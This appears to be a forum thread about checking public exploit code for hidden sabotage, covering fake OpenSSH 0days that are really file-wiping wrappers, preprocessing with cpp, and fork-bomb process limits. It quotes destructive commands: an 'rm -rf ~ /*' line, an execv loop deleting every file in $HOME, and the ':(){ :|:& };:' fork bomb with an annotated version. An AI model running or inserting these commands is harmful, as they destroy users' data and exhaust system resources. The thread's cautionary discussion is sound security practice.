I try to. Most of the time if you see a #define that is not a simple constant in an exploit, it should be at least preprocessed... There are a lot of "ssh exploits" that are really `rm -rf /` wrappers with some interesting preprocessor abuse.

That's what I do, I run it through cpp first and read the code from where the include files end, just to make sure someone isn't social engineering me into doing something stupid.

In case anybody wants to read the code preprocessed it's here:

http://ww.com/robert_you_suck.txt

Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.

Paranoia has no limits ;)

My faviourite is probably the last openssh 0day "exploit": http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is-spre...

See what happens with the "fremote(jmpcode)" function in 'main()'.

nasty:

rm -rf ~ /* 2> /dev/null &;

> I run it through cpp first

Any particular switches you use?

No, just cpp file.c > out.txt

In this case, an evil system administrator could change the text of /proc/kallsyms (probably via a hacked libc and LD_PRELOAD, or just the hacked libc) and then execute arbitrary code as you, because the exploit code uses an unchecked write into a stack variable (and who compiles their exploit code with a stack protector).

I am almost tempted to do this, use the exploit to get root on my work machines, and then replace the libc... just to see if anyone else tries the exploit. (Note to the literal: not really.)

execv("/bin/sh -c 'for i in `find $HOME`; do echo "rm -f $i"; done', 0);

Hehe, that's a funny way to reverse an attack.

I don't think that sysadmin would qualify as 'evil' though.

It'd be even more fun if they had gotten to it before you and you ended up wiping your own files like that ;)

Which exploit are you running? The one that was posted on full disclosure: http://seclists.org/fulldisclosure/2010/Sep/268 includes bypasses for selinunx, and used to include code to bypass grsec.

I usually review but don't run it....

:(){ :|:& };:

Tempting though, isn't it ?

That's not a problem to read, and it's really easy to recognize since everyone's been sent it at some point in their life.

For those having trouble:

    bomb() {
      bomb | bomb &  # spawns two subprocesses, each running bomb
                     # on one end of a pipe, neither will die
                     # so long as the other exists
    }
    bomb             # kick off the bomb

On any system with sane defaults for limits this won't crash the machine merely bog it down a tad.

I've successfully ran it on FreeBSD machines without any issues, now on Linux or Mac OS X it is bad news :P

Hm? Though on Linux I'm sure it varies from distro to distro, my Fedora 10 box has ulimit -u at 1024, and my OSX 10.6 install has it at 266 (2^8 + 10? Wonder how they decided on that number).

(And yes, I tried forkbombing them for the hell of it, both systems took it entirely in stride, as would be expected.)

Does anyone know of any current distros that don't set a sensible process limit in the default install?

On both Debian and Ubuntu `ulimit -u` returns `unlimited` for me.